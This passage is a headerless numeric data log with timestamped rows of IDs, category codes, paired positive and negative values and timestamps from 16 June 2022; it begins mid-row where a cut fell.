13:40:47.769698+00 +47880,1,12829,9.460994376,-9.460994376,2022-06-16 13:40:47.773052+00 +47881,1,12845,2.245619956,-2.245619956,2022-06-16 13:40:47.773928+00 +54262,6,13931,2.334378454,-2.334378454,2022-06-16 14:16:27.983474+00 +50924,6,13325,10.90747567,-10.90747567,2022-06-16 13:56:47.416719+00 +50957,2,13296,1.835069463,0,2022-06-16 13:57:04.985677+00 +47976,6,12863,3.934178123,-3.934178123,2022-06-16 13:41:08.81094+00 +54328,6,13998,3.8037671,-3.8037671,2022-06-16 14:16:49.817981+00 +50991,3,13296,2.725073138,0,2022-06-16 13:57:05.51947+00 +51091,4,13289,9.335316147,-9.335316147,2022-06-16 13:57:48.473255+00 +51092,4,13273,9.413283033,-9.413283033,2022-06-16 13:57:48.476425+00 +48122,3,12846,9.602257351,-9.602257351,2022-06-16 13:42:05.832122+00 +48123,3,12910,9.535742344,-9.535742344,2022-06-16 13:42:05.836065+00 +48144,4,12864,1.252381305,-1.252381305,2022-06-16 13:42:11.514543+00 +48183,2,12585,13.05380971,-13.05380971,2022-06-16 13:42:19.299209+00 +48184,2,12713,12.9887513,-12.9887513,2022-06-16 13:42:19.300438+00 +48185,2,12777,12.92410742,-12.92410742,2022-06-16 13:42:19.301395+00 +48186,2,12841,12.85987608,-12.85987608,2022-06-16 13:42:19.305709+00 +61576,6,15023,2.18685528,-2.18685528,2022-06-16 14:48:44.649943+00 +54692,2,14047,7.9622026,-7.9622026,2022-06-16 14:19:05.885869+00 +48304,4,12768,5.854628205,-5.854628205,2022-06-16 13:43:02.855457+00 +48324,2,12910,3.437532289,-3.437532289,2022-06-16 13:43:05.264365+00 +58517,4,14432,5.144395439,-5.144395439,2022-06-16 14:36:02.322242+00 +54920,6,14075,2.063728753,-2.063728753,2022-06-16 14:20:16.811135+00 +54977,3,14075,4.540991974,-4.540991974,2022-06-16 14:20:40.834436+00 +54991,6,14111,10.18300164,-10.18300164,2022-06-16 14:21:00.764415+00 +48408,4,12825,10.25857488,-10.25857488,2022-06-16 13:43:51.027098+00 +58567,1,14622,4.824676028,-4.824676028,2022-06-16 14:36:06.03328+00 +56426,2,14335,2.188292809,-2.188292809,2022-06-16 14:27:05.922368+00 +41816,4,11690,6.98539995,-6.98539995,2022-06-16 13:07:16.912376+00 +49264,2,13033,12.47526483,-12.47526483,2022-06-16 13:48:14.55094+00 +49265,2,13017,12.55790637,-12.55790637,2022-06-16 13:48:14.553857+00 +64304,2,15343,1.118295059,0,2022-06-16 14:58:09.49718+00 +46377,1,12523,1.914529702,-1.914529702,2022-06-16 13:32:08.693525+00 +57009,7,14186,3.898004091,-3.898004091,2022-06-16 14:29:41.995919+00 +60542,6,14824,24.05065714,-24.05065714,2022-06-16 14:44:32.540352+00 +57178,6,14431,9.860686497,-9.860686497,2022-06-16 14:30:24.088933+00 +46782,7,12586,5.935518669,-5.935518669,2022-06-16 13:34:33.51072+00 +46789,4,12569,10.84902705,-10.84902705,2022-06-16 13:34:35.02768+00 +46790,4,12593,11.45289813,-11.45289813,2022-06-16 13:34:35.029118+00 +46817,1,12563,8.885426314,-8.885426314,2022-06-16 13:34:38.687855+00 +46948,7,12528,10.77845507,0,2022-06-16 13:35:17.20218+00 +53578,1,13869,1.520601697,-1.520601697,2022-06-16 14:12:02.859948+00 +60771,2,14843,2.302381346,0,2022-06-16 14:45:14.574033+00 +60978,6,14943,9.507825334,-9.507825334,2022-06-16 14:46:20.195506+00 +47237,2,12702,7.616536316,-7.616536316,2022-06-16 13:37:05.024567+00 +41842,6,11690,7.067154515,-7.067154515,2022-06-16 13:07:33.263453+00 +47347,1,12448,4.91228379,-4.91228379,2022-06-16 13:37:59.7686+00 +57899,2,14443,3.116951198,-3.116951198,2022-06-16 14:33:14.442976+00 +50394,4,13311,1.583580129,-1.583580129,2022-06-16 13:54:13.714514+00 +50395,4,13213,6.492279413,-6.492279413,2022-06-16 13:54:13.71753+00 +50396,4,13295,2.070315268,-2.070315268,2022-06-16 13:54:13.718372+00 +44794,3,12286,8.512025129,-8.512025129,2022-06-16 13:22:05.605212+00 +50397,4,13229,1.207182146,-1.207182146,2022-06-16 13:54:13.71918+00 +50398,4,13279,5.733712076,-5.733712076,2022-06-16 13:54:13.719933+00 +44882,1,12209,6.458689046,-6.458689046,2022-06-16 13:22:32.655397+00 +44883,1,12187,6.36743411,-6.36743411,2022-06-16 13:22:32.658813+00 +44884,1,12203,2.094390433,-2.094390433,2022-06-16 13:22:32.659682+00 +44885,1,12245,12.19577051,-12.19577051,2022-06-16 13:22:32.660467+00 +44886,1,12185,6.021363848,-6.021363848,2022-06-16 13:22:32.661242+00 +44887,1,12217,5.942185151,-5.942185151,2022-06-16 13:22:32.662089+00 +44888,1,12211,12.59354393,-12.59354393,2022-06-16 13:22:32.662897+00 +44889,1,12201,5.938022922,-5.938022922,2022-06-16 13:22:32.663534+00 +44934,2,12270,3.941520296,-3.941520296,2022-06-16 13:23:05.170341+00 +50512,6,13294,4.415160754,-4.415160754,2022-06-16 13:54:55.95467+00 +58111,3,14511,6.286547754,-6.286547754,2022-06-16 14:34:06.533068+00 +58112,3,14575,6.237558531,-6.237558531,2022-06-16 14:34:06.537575+00 +45127,3,12267,7.39622868,-7.39622868,2022-06-16 13:24:05.740483+00 +54522,6,14016,3.304398068,-3.304398068,2022-06-16 14:18:13.330134+00 +45208,6,12317,5.902601675,-5.902601675,2022-06-16 13:24:14.730826+00 +47882,1,12777,5.474061661,-5.474061661,2022-06-16 13:40:53.772411+00 +47883,1,12821,11.69476049,-11.69476049,2022-06-16 13:40:53.775723+00 +45294,4,12280,7.651254273,-7.651254273,2022-06-16 13:24:53.531975+00 +47884,1,12761,5.535100367,-5.535100367,2022-06-16 13:40:53.776586+00 +45321,2,12330,4.146442984,-4.146442984,2022-06-16 13:24:59.614544+00 +47885,1,12785,5.926745612,-5.926745612,2022-06-16 13:40:53.777413+00 +47886,1,12763,6.016169621,-6.016169621,2022-06-16 13:40:53.778189+00 +47887,1,12787,11.83895853,-11.83895853,2022-06-16 13:40:53.779002+00 +54550,1,13992,14.16119024,-14.16119024,2022-06-16 14:18:17.884267+00 +41885,3,11691,8.2365793,-8.2365793,2022-06-16 13:07:54.044876+00 +54594,6,14062,3.73401196,-3.73401196,2022-06-16 14:18:31.625447+00 +45511,6,12398,5.414641152,-5.414641152,2022-06-16 13:26:21.401033+00 +54694,2,13994,2.600497649,-2.600497649,2022-06-16 14:19:05.914006+00 +45542,6,12307,13.29400872,-13.29400872,2022-06-16 13:26:29.243042+00 +45556,3,12077,5.572907155,-5.572907155,2022-06-16 13:26:35.258208+00 +50852,6,13374,3.435500302,-3.435500302,2022-06-16 13:56:26.683737+00 +45580,7,12138,6.188889072,-6.188889072,2022-06-16 13:26:43.254099+00 +58330,2,14559,7.496202903,-7.496202903,2022-06-16 14:35:05.634964+00 +61634,6,14952,23.71291905,-23.71291905,2022-06-16 14:48:51.873535+00 +50927,3,13226,5.63034538,-5.63034538,2022-06-16 13:56:51.29677+00 +41898,3,11707,7.279689662,-7.279689662,2022-06-16 13:07:54.633423+00 +50959,6,13307,2.461661389,-2.461661389,2022-06-16 13:57:04.994025+00 +51046,1,13206,14.10856823,-14.10856823,2022-06-16 13:57:41.759668+00 +51047,1,13078,14.05726582,-14.05726582,2022-06-16 13:57:41.763178+00 +51048,1,13270,14.00619549,-14.00619549,2022-06-16 13:57:41.76422+00 +48265,6,12864,4.007122004,-4.007122004,2022-06-16 13:42:43.745348+00 +51049,1,13094,17.54424028,-17.54424028,2022-06-16 13:57:41.76498+00 +51050,1,13030,17.48275723,-17.48275723,2022-06-16 13:57:41.76573+00 +51051,1,13142,13.89495613,-13.89495613,2022-06-16 13:57:41.766494+00 +51052,1,13238,11.10415531,-11.10415531,2022-06-16 13:57:41.767284+00 +51053,1,13366,11.06525316,-11.06525316,2022-06-16 13:57:41.768111+00 +51054,1,13302,11.02654663,-11.02654663,2022-06-16 13:57:41.768732+00 +54925,1,14075,1.009197184,-1.009197184,2022-06-16 14:20:17.926949+00 +54926,1,14057,4.381247543,-4.381247543,2022-06-16 14:20:17.927559+00 +54927,1,14067,10.80572331,-10.80572331,2022-06-16 14:20:17.928211+00 +48409,4,12841,10.13989168,-10.13989168,2022-06-16 13:43:57.116023+00 +48410,4,12849,11.02219956,-11.02219956,2022-06-16 13:43:57.119447+00 +51156,4,13176,7.368530517,-7.368530517,2022-06-16 13:58:02.427986+00 +54928,1,14041,4.429139298,-4.429139298,2022-06-16 14:20:17.928824+00 +54978,1,14072,6.52161866,-6.52161866,2022-06-16 14:20:41.951747+00 +51213,7,13226,5.050774737,-5.050774737,2022-06-16 13:58:06.928266+00 +51232,1,13421,1.789392167,-1.789392167,2022-06-16 13:58:14.788155+00 +51233,1,13437,2.903545615,-2.903545615,2022-06-16 13:58:14.791647+00 +41923,6,11823,6.137589073,-6.137589073,2022-06-16 13:08:02.858014+00 +48483,1,12990,2.009889023,-2.009889023,2022-06-16 13:44:08.791835+00 +48484,1,12974,2.56504624,-2.56504624,2022-06-16 13:44:08.794999+00 +51234,1,13405,9.085767171,-9.085767171,2022-06-16 13:58:14.79248+00 +51253,1,13362,10.72752879,-10.72752879,2022-06-16 13:58:23.764544+00 +51254,1,13371,1.298647041,-1.298647041,2022-06-16 13:58:23.765749+00 +51255,1,13347,19.80017629,-19.80017629,2022-06-16 13:58:23.766672+00 +48525,6,12991,3.819929417,-3.819929417,2022-06-16 13:44:13.397994+00 +51256,1,13339,5.685178152,-5.685178152,2022-06-16 13:58:23.767512+00 +41932,6,11839,4.817184557,-4.817184557,2022-06-16 13:08:03.246858+00 +51257,1,13338,10.47073743,-10.47073743,2022-06-16 13:58:23.768211+00 +51258,1,13354,2.767262995,-2.767262995,2022-06-16 13:58:23.768941+00 +52519,6,13563,2.319421458,-2.319421458,2022-06-16 14:05:15.381335+00 +63963,3,15227,3.256850393,0,2022-06-16 14:57:02.392167+00 +64025,2,15217,8.949234216,-8.949234216,2022-06-16 14:57:09.338176+00 +49266,1,13101,1.967207032,-1.967207032,2022-06-16 13:48:14.748093+00 +49291,6,13118,3.664485402,-3.664485402,2022-06-16 13:48:20.265717+00 +49441,2,13103,3.313900609,-3.313900609,2022-06-16 13:49:05.713087+00 +49442,2,13118,2.611558645,-2.611558645,2022-06-16 13:49:05.716893+00 +43432,6,11947,3.537006042,-3.537006042,2022-06-16 13:14:26.066686+00 +43443,3,11693,5.839057167,-5.839057167,2022-06-16 13:14:33.808789+00 +64307,4,15343,0.66314387,0,2022-06-16 14:58:12.929403+00 +64308,4,15342,0.709414337,0,2022-06-16 14:58:12.932781+00 +53284,2,13675,3.829670163,-3.829670163,2022-06-16 14:09:14.466658+00 +60620,6,14848,2.476587794,-2.476587794,2022-06-16 14:44:56.633166+00 +64309,4,15359,1.364925508,-1.364925508,2022-06-16 14:58:12.933794+00 +60703,2,14911,2.22134545,-2.22134545,2022-06-16 14:45:06.129115+00 +46949,1,12629,11.87861609,-11.87861609,2022-06-16 13:35:23.719597+00 +64310,4,15327,4.690409317,-4.690409317,2022-06-16 14:58:12.934569+00 +44005,6,12095,4.568173318,-4.568173318,2022-06-16 13:17:17.75012+00 +64311,4,15277,0.640656668,0,2022-06-16 14:58:12.935497+00 +53640,6,13853,4.788302798,-4.788302798,2022-06-16 14:12:10.115685+00 +47113,3,12667,6.266421399,-6.266421399,2022-06-16 13:36:13.653438+00 +44144,6,12157,1.708091841,-1.708091841,2022-06-16 13:18:08.264691+00 +47145,4,12667,1.078959701,-1.078959701,2022-06-16 13:36:22.997784+00 +47146,4,12651,1.202969061,-1.202969061,2022-06-16 13:36:22.999059+00 +44265,6,12143,5.723591643,-5.723591643,2022-06-16 13:18:49.418567+00 +64312,4,15245,11.72553738,-11.72553738,2022-06-16 14:58:12.936285+00 +47199,3,12397,5.319338057,-5.319338057,2022-06-16 13:36:36.489652+00 +47204,4,12384,5.99628367,-5.99628367,2022-06-16 13:36:45.238512+00 +47217,2,12714,3.742472198,-3.742472198,2022-06-16 13:36:55.001601+00 +64313,4,15293,1.591325671,-1.591325671,2022-06-16 14:58:12.937415+00 +50136,2,13231,3.233468779,-3.233468779,2022-06-16 13:53:05.269945+00 +44522,4,12215,10.57531198,-10.57531198,2022-06-16 13:20:13.148004+00 +44523,4,12214,11.20762116,-11.20762116,2022-06-16 13:20:13.151458+00 +44524,4,12160,1.339533135,-1.339533135,2022-06-16 13:20:13.152267+00 +44525,4,12206,3.089801571,-3.089801571,2022-06-16 13:20:13.153015+00 +44526,4,12190,6.231760917,-6.231760917,2022-06-16 13:20:13.153892+00 +44527,4,12222,2.412568018,-2.412568018,2022-06-16 13:20:13.154757+00 +44528,4,12183,13.66647477,-13.66647477,2022-06-16 13:20:13.155549+00 +44529,4,12182,14.31699529,-14.31699529,2022-06-16 13:20:13.156264+00 +44530,4,12223,2.211341281,-2.211341281,2022-06-16 13:20:13.156934+00 +44531,4,12207,2.866534329,-2.866534329,2022-06-16 13:20:13.157896+00 +44532,4,12191,6.130053306,-6.130053306,2022-06-16 13:20:13.158766+00 +44533,4,12125,7.657376049,-7.657376049,2022-06-16 13:20:13.15966+00 +44534,4,12109,13.91625523,-13.91625523,2022-06-16 13:20:13.160518+00 +44535,4,12141,1.902508187,-1.902508187,2022-06-16 13:20:13.161393+00 +44536,4,12053,9.72360101,-9.72360101,2022-06-16 13:20:13.163412+00 +44557,4,12138,6.507378835,-6.507378835,2022-06-16 13:20:17.936554+00 +64314,4,15261,4.819238263,-4.819238263,2022-06-16 14:58:12.938233+00 +50192,6,13163,2.733085751,-2.733085751,2022-06-16 13:53:11.372559+00 +47348,4,12640,5.909064838,-5.909064838,2022-06-16 13:38:00.862046+00 +64442,6,15343,1.400679001,0,2022-06-16 14:58:33.767072+00 +61196,1,14824,14.09681917,-14.09681917,2022-06-16 14:47:13.538712+00 +61197,1,14696,14.05275449,-14.05275449,2022-06-16 14:47:13.541966+00 +61198,1,14760,14.00886243,-14.00886243,2022-06-16 14:47:13.542824+00 +44890,4,12179,6.714174502,-6.714174502,2022-06-16 13:22:34.362212+00 +50442,3,13243,5.676874617,-5.676874617,2022-06-16 13:54:25.167151+00 +50475,1,13225,4.999092934,-4.999092934,2022-06-16 13:54:38.754833+00 +50476,1,13020,12.76244764,-12.76244764,2022-06-16 13:54:38.755923+00 +50477,1,13209,5.054452844,-5.054452844,2022-06-16 13:54:38.75669+00 +50478,1,13116,12.80144328,-12.80144328,2022-06-16 13:54:38.757392+00 +50479,1,13180,12.74702561,-12.74702561,2022-06-16 13:54:38.758105+00 +50480,1,13084,12.65848585,-12.65848585,2022-06-16 13:54:38.759399+00 +45209,1,12317,9.777941406,-9.777941406,2022-06-16 13:24:17.630534+00 +45210,1,12349,2.994809052,-2.994809052,2022-06-16 13:24:17.634096+00 +50481,1,13148,12.6048324,-12.6048324,2022-06-16 13:54:38.760128+00 +47819,4,12693,8.798446935,-8.798446935,2022-06-16 13:40:14.412938+00 +50482,1,13233,5.495573058,-5.495573058,2022-06-16 13:54:38.760726+00 +58062,6,14574,2.679910988,-2.679910988,2022-06-16 14:34:05.459632+00 +47888,1,12755,8.750747771,-8.750747771,2022-06-16 13:40:56.770217+00 +47889,1,12762,11.07501543,-11.07501543,2022-06-16 13:40:56.773526+00 +47890,1,12786,11.3896651,-11.3896651,2022-06-16 13:40:56.774335+00 +47891,1,12771,20.16262942,-20.16262942,2022-06-16 13:40:56.775258+00 +45431,6,12202,6.454556814,-6.454556814,2022-06-16 13:25:58.561742+00 +64654,2,15275,2.317888298,0,2022-06-16 14:59:14.55836+00 +54390,2,13929,10.35867728,-10.35867728,2022-06-16 14:17:06.075478+00 +54391,2,13930,2.643422353,-2.643422353,2022-06-16 14:17:06.078626+00 +58189,6,14528,2.794358288,-2.794358288,2022-06-16 14:34:25.477162+00 +50779,6,13312,4.064742419,-4.064742419,2022-06-16 13:56:10.48195+00 +50805,4,13375,1.542284528,-1.542284528,2022-06-16 13:56:20.39616+00 +54695,7,13998,18.36480341,-18.36480341,2022-06-16 14:19:06.200389+00 +48210,2,12845,3.674361317,-3.674361317,2022-06-16 13:42:24.414946+00 +50930,6,13333,6.586445515,-6.586445515,2022-06-16 13:56:52.455762+00 +48250,6,12877,11.17754175,-11.17754175,2022-06-16 13:42:42.075605+00 +48266,1,12885,11.63514252,-11.63514252,2022-06-16 13:42:44.745067+00 +48269,1,12835,20.16949149,-20.16949149,2022-06-16 13:42:47.745137+00 +48270,1,12826,11.00772541,-11.00772541,2022-06-16 13:42:47.746487+00 +48271,1,12848,0.481287092,0,2022-06-16 13:42:47.747442+00 +48272,1,12827,5.963871931,-5.963871931,2022-06-16 13:42:47.748235+00 +48273,1,12864,0.997416587,-0.997416587,2022-06-16 13:42:47.749021+00 +48274,1,12859,1.55451497,-1.55451497,2022-06-16 13:42:47.749821+00 +48275,1,12850,11.32129095,-11.32129095,2022-06-16 13:42:47.750579+00 +48276,1,12851,11.70878687,-11.70878687,2022-06-16 13:42:47.751293+00 +54736,3,13714,22.96655491,-22.96655491,2022-06-16 14:19:37.343389+00 +54737,3,13778,22.87837728,-22.87837728,2022-06-16 14:19:37.346666+00 +51022,2,13307,3.872983111,-3.872983111,2022-06-16 13:57:14.596648+00 +54738,3,13842,22.790218,-22.790218,2022-06-16 14:19:37.347545+00 +54739,3,13906,22.70208421,-22.70208421,2022-06-16 14:19:37.348404+00 +54740,3,13970,22.61398299,-22.61398299,2022-06-16 14:19:37.349216+00 +51157,1,13095,18.83250502,-18.83250502,2022-06-16 13:58:02.763229+00 +48411,4,12856,7.447702301,-7.447702301,2022-06-16 13:44:00.818944+00 +51214,4,13376,1.254994479,-1.254994479,2022-06-16 13:58:09.998751+00 +51235,1,13337,4.953758943,-4.953758943,2022-06-16 13:58:17.797232+00 +51236,1,13361,5.385800135,-5.385800135,2022-06-16 13:58:17.800656+00 +51237,1,13340,12.39755677,-12.39755677,2022-06-16 13:58:17.80149+00 +51238,1,13376,0.962987735,-0.962987735,2022-06-16 13:58:17.802361+00 +51239,1,13353,4.887062345,-4.887062345,2022-06-16 13:58:17.803157+00 +48496,6,12974,4.728221815,-4.728221815,2022-06-16 13:44:12.861342+00 +48876,4,13054,1.843996788,-1.843996788,2022-06-16 13:46:09.703645+00 +45775,3,12395,7.263650682,-7.263650682,2022-06-16 13:28:08.178909+00 +45799,4,12397,1.758559823,-1.758559823,2022-06-16 13:28:13.535181+00 +45800,4,12413,2.103309887,-2.103309887,2022-06-16 13:28:13.536495+00 +45801,4,12365,13.71790314,-13.71790314,2022-06-16 13:28:13.537309+00 +45802,4,12381,7.328843085,-7.328843085,2022-06-16 13:28:13.538223+00 +45830,4,12403,9.2081614,-9.2081614,2022-06-16 13:28:21.740298+00 +45831,4,12379,4.308492436,-4.308492436,2022-06-16 13:28:21.741565+00 +41951,3,11774,9.103219367,-9.103219367,2022-06-16 13:08:04.902911+00 +45832,4,12363,13.08891895,-13.08891895,2022-06-16 13:28:21.742368+00 +45833,4,12395,1.295119913,-1.295119913,2022-06-16 13:28:21.743116+00 +41954,3,11839,8.688255597,-8.688255597,2022-06-16 13:08:04.948309+00 +48877,4,13022,5.492670016,-5.492670016,2022-06-16 13:46:09.707125+00 +43501,2,11952,1.743296057,0,2022-06-16 13:15:04.719165+00 +48878,4,12824,8.162828007,-8.162828007,2022-06-16 13:46:09.708062+00 +48879,4,12976,0.603350867,0,2022-06-16 13:46:09.708832+00 +48880,4,12992,1.281269959,-1.281269959,2022-06-16 13:46:09.709603+00 +48914,1,13053,2.990274292,-2.990274292,2022-06-16 13:46:17.761777+00 +48915,1,13037,1.992234228,-1.992234228,2022-06-16 13:46:17.763095+00 +48916,1,13021,9.319456204,-9.319456204,2022-06-16 13:46:17.763881+00 +59945,3,14830,5.876121256,-5.876121256,2022-06-16 14:42:06.537198+00 +49267,4,12896,5.801300952,-5.801300952,2022-06-16 13:48:16.916215+00 +52857,2,13694,2.318572803,-2.318572803,2022-06-16 14:07:09.511597+00 +56761,1,14399,1.712281172,-1.712281172,2022-06-16 14:29:02.99234+00 +44206,6,12075,3.436373513,-3.436373513,2022-06-16 13:18:18.488045+00 +41970,6,11821,1.615679905,-1.615679905,2022-06-16 13:08:05.311584+00 +44232,2,12138,4.306112608,-4.306112608,2022-06-16 13:18:27.852017+00 +46846,6,12655,5.202482454,-5.202482454,2022-06-16 13:34:58.746123+00 +56762,1,14383,1.70634002,-1.70634002,2022-06-16 14:29:02.995969+00 +56763,1,14367,6.017977732,-6.017977732,2022-06-16 14:29:02.996877+00 +53124,3,13691,5.087282484,-5.087282484,2022-06-16 14:08:33.600316+00 +53286,6,13691,2.263670515,-2.263670515,2022-06-16 14:09:14.472174+00 +49798,2,13151,8.393704178,-8.393704178,2022-06-16 13:51:05.402419+00 +47114,4,12669,2.01750757,-2.01750757,2022-06-16 13:36:14.02052+00 +47115,4,12653,1.615884387,-1.615884387,2022-06-16 13:36:14.023944+00 +47116,4,12621,13.53413848,-13.53413848,2022-06-16 13:36:14.024916+00 +47117,4,12637,7.074048298,-7.074048298,2022-06-16 13:36:14.025828+00 +47118,4,12727,10.14045084,-10.14045084,2022-06-16 13:36:14.026693+00 +47119,4,12726,10.82721503,-10.82721503,2022-06-16 13:36:14.027564+00 +47120,4,12695,13.21423598,-13.21423598,2022-06-16 13:36:14.028449+00 +44891,3,11949,5.631653935,-5.631653935,2022-06-16 13:22:34.844412+00 +47121,4,12694,13.77096643,-13.77096643,2022-06-16 13:36:14.029252+00 +47122,4,12735,1.873459412,-1.873459412,2022-06-16 13:36:14.030039+00 +41989,3,11758,11.02721658,-11.02721658,2022-06-16 13:08:06.648217+00 +41990,3,11822,10.95448732,-10.95448732,2022-06-16 13:08:06.652089+00 +47123,4,12719,2.424774426,-2.424774426,2022-06-16 13:36:14.030848+00 +47124,4,12703,5.902219375,-5.902219375,2022-06-16 13:36:14.031651+00 +47125,4,12437,9.005115147,-9.005115147,2022-06-16 13:36:14.032432+00 +47147,1,12659,12.05134182,-12.05134182,2022-06-16 13:36:23.689968+00 +47148,1,12648,14.97078576,-14.97078576,2022-06-16 13:36:23.691197+00 +41996,3,11759,10.64081418,-10.64081418,2022-06-16 13:08:06.811437+00 +41997,3,11823,10.57257595,-10.57257595,2022-06-16 13:08:06.814884+00 +47149,1,12634,11.21760984,-11.21760984,2022-06-16 13:36:23.691958+00 +47150,1,12667,1.615445226,-1.615445226,2022-06-16 13:36:23.692669+00 +47151,1,12650,3.412398056,-3.412398056,2022-06-16 13:36:23.693411+00 +42001,6,11837,1.876322513,-1.876322513,2022-06-16 13:08:07.616563+00 +42002,4,11760,0.614313113,0,2022-06-16 13:08:09.78525+00 +42003,4,11608,8.598136984,-8.598136984,2022-06-16 13:08:09.788346+00 +42004,4,11776,1.423663107,-1.423663107,2022-06-16 13:08:09.789192+00 +42005,4,11822,3.512035258,-3.512035258,2022-06-16 13:08:09.790036+00 +42006,4,11831,10.95519823,-10.95519823,2022-06-16 13:08:11.369759+00 +42007,4,11830,11.52913251,-11.52913251,2022-06-16 13:08:11.373119+00 +47152,1,12651,1.797525929,-1.797525929,2022-06-16 13:36:23.694075+00 +47153,1,12635,6.098905152,-6.098905152,2022-06-16 13:36:23.694819+00 +47154,1,12658,11.50307867,-11.50307867,2022-06-16 13:36:23.695491+00 +53447,6,13739,2.425348071,-2.425348071,2022-06-16 14:10:40.823652+00 +45432,7,12266,6.288979451,-6.288979451,2022-06-16 13:25:59.367078+00 +42016,4,11799,14.05691682,-14.05691682,2022-06-16 13:08:14.904466+00 +42017,4,11798,14.79750981,-14.79750981,2022-06-16 13:08:14.907821+00 +42018,4,11839,2.487176298,-2.487176298,2022-06-16 13:08:14.908658+00 +42019,4,11725,14.28555508,-14.28555508,2022-06-16 13:08:14.909555+00 +42020,4,11741,8.038353446,-8.038353446,2022-06-16 13:08:14.910487+00 +42021,4,11823,3.218172125,-3.218172125,2022-06-16 13:08:14.911298+00 +42022,4,11672,8.570685671,-8.570685671,2022-06-16 13:08:16.487836+00 +42023,4,11733,10.2663209,-10.2663209,2022-06-16 13:08:16.491235+00 +45472,6,12266,6.406069475,-6.406069475,2022-06-16 13:26:12.542044+00 +50012,6,13229,0.944569581,-0.944569581,2022-06-16 13:52:18.311083+00 +42028,2,11757,4.516617366,-4.516617366,2022-06-16 13:08:19.437705+00 +45579,6,12413,1.602080478,-1.602080478,2022-06-16 13:26:39.435603+00 +53805,2,13886,2.225713986,-2.225713986,2022-06-16 14:13:09.663494+00 +42031,1,11755,2.430399592,-2.430399592,2022-06-16 13:08:20.592243+00 +42032,1,11752,15.61914374,-15.61914374,2022-06-16 13:08:20.595652+00 +42033,1,11771,2.096588082,-2.096588082,2022-06-16 13:08:20.596475+00 +42034,4,11763,9.447229212,-9.447229212,2022-06-16 13:08:21.003955+00 +42035,4,11723,12.81526839,-12.81526839,2022-06-16 13:08:21.005206+00 +42036,4,11755,1.537901805,-1.537901805,2022-06-16 13:08:21.006085+00 +42037,4,11771,1.321740534,-1.321740534,2022-06-16 13:08:21.006909+00 +42038,4,11739,4.362543723,-4.362543723,2022-06-16 13:08:21.007747+00 +57346,2,14430,6.950610807,-6.950610807,2022-06-16 14:31:05.465389+00 +47596,2,12720,1.801218309,0,2022-06-16 13:39:05.473884+00 +42043,6,11760,1.949872219,0,2022-06-16 13:08:21.186199+00 +57418,6,14384,1.676575372,0,2022-06-16 14:31:28.543706+00 +47656,4,12664,7.513138299,-7.513138299,2022-06-16 13:39:29.681448+00 +47683,7,12720,10.76654309,0,2022-06-16 13:39:38.339096+00 +54051,2,13888,3.481220586,-3.481220586,2022-06-16 14:15:05.207088+00 +42048,6,11776,4.289485512,-4.289485512,2022-06-16 13:08:21.388993+00 +54052,2,13866,2.701015066,-2.701015066,2022-06-16 14:15:05.210348+00 +50445,6,13261,10.94744579,-10.94744579,2022-06-16 13:54:26.492228+00 +54053,2,13873,11.34512833,-11.34512833,2022-06-16 14:15:05.211232+00 +54054,2,13849,10.60006741,-10.60006741,2022-06-16 14:15:05.212315+00 +50552,2,13232,1.832831354,0,2022-06-16 13:55:05.225084+00 +42054,1,11823,3.768566904,-3.768566904,2022-06-16 13:08:23.569556+00 +42055,1,11839,2.921158691,-2.921158691,2022-06-16 13:08:23.570863+00 +42056,1,11822,3.342857061,-3.342857061,2022-06-16 13:08:23.571715+00 +50553,2,13209,12.00271093,-12.00271093,2022-06-16 13:55:05.228367+00 +50554,2,13210,11.54116014,-11.54116014,2022-06-16 13:55:05.22915+00 +42059,2,11773,5.16536128,-5.16536128,2022-06-16 13:08:24.35175+00 +42060,4,11731,6.954322946,-6.954322946,2022-06-16 13:08:30.222064+00 +47914,2,12784,1.80359238,0,2022-06-16 13:41:05.018172+00 +50555,2,13225,11.87000493,-11.87000493,2022-06-16 13:55:05.229912+00 +45684,7,12330,6.142466891,-6.142466891,2022-06-16 13:27:38.15548+00 +45907,1,12437,11.99263559,-11.99263559,2022-06-16 13:28:59.662809+00 +60284,4,14776,9.503403327,-9.503403327,2022-06-16 14:43:29.570893+00 +49279,6,13077,6.836180213,-6.836180213,2022-06-16 13:48:19.122049+00 +49313,4,13019,4.236183679,-4.236183679,2022-06-16 13:48:22.01056+00 +49314,4,13043,8.933668788,-8.933668788,2022-06-16 13:48:22.011795+00 +49315,4,13035,1.079970955,-1.079970955,2022-06-16 13:48:22.012766+00 +49316,4,13003,13.63613039,-13.63613039,2022-06-16 13:48:22.013515+00 +49331,1,13048,6.08428826,-6.08428826,2022-06-16 13:48:29.748926+00 +43566,6,11998,10.57503628,-10.57503628,2022-06-16 13:15:22.347804+00 +49332,1,13016,6.710885158,-6.710885158,2022-06-16 13:48:29.750246+00 +49333,1,13032,14.73149165,-14.73149165,2022-06-16 13:48:29.751032+00 +49340,7,13034,5.438999589,-5.438999589,2022-06-16 13:48:37.861838+00 +56858,6,14383,3.116405912,-3.116405912,2022-06-16 14:29:10.523698+00 +43827,2,12029,5.026801469,-5.026801469,2022-06-16 13:16:24.982727+00 +46898,2,12654,3.640050144,-3.640050144,2022-06-16 13:35:05.33485+00 +46899,2,12655,3.630365546,-3.630365546,2022-06-16 13:35:05.338187+00 +53128,1,13742,1.975189741,-1.975189741,2022-06-16 14:08:35.819015+00 +53129,1,13688,5.672778831,-5.672778831,2022-06-16 14:08:35.81976+00 +53182,6,13416,26.16553563,-26.16553563,2022-06-16 14:08:51.165579+00 +49732,6,13165,0.955119765,-0.955119765,2022-06-16 13:50:45.410413+00 +49800,2,13166,3.25859489,-3.25859489,2022-06-16 13:51:05.435464+00 +49801,2,13167,3.286824603,-3.286824603,2022-06-16 13:51:05.439103+00 +47193,6,12693,7.244697374,-7.244697374,2022-06-16 13:36:31.426139+00 +44371,2,12075,4.944826475,-4.944826475,2022-06-16 13:19:14.435276+00 +53183,6,13480,26.09282524,-26.09282524,2022-06-16 14:08:51.166768+00 +44448,3,12158,8.628795237,-8.628795237,2022-06-16 13:20:03.922876+00 +44449,3,12222,8.570257485,-8.570257485,2022-06-16 13:20:03.926241+00 +53184,6,13544,26.01988734,-26.01988734,2022-06-16 14:08:51.167526+00 +47350,6,12782,4.96046611,-4.96046611,2022-06-16 13:38:03.028971+00 +57086,3,14383,6.607716696,-6.607716696,2022-06-16 14:30:05.788608+00 +57087,3,14447,6.558046241,-6.558046241,2022-06-16 14:30:05.792849+00 +44837,6,12270,5.576435475,-5.576435475,2022-06-16 13:22:14.296547+00 +53731,6,13837,10.63598472,-10.63598472,2022-06-16 14:12:49.457524+00 +44892,1,12194,12.31964693,-12.31964693,2022-06-16 13:22:35.657583+00 +44893,1,12224,1.113730319,-1.113730319,2022-06-16 13:22:35.661092+00 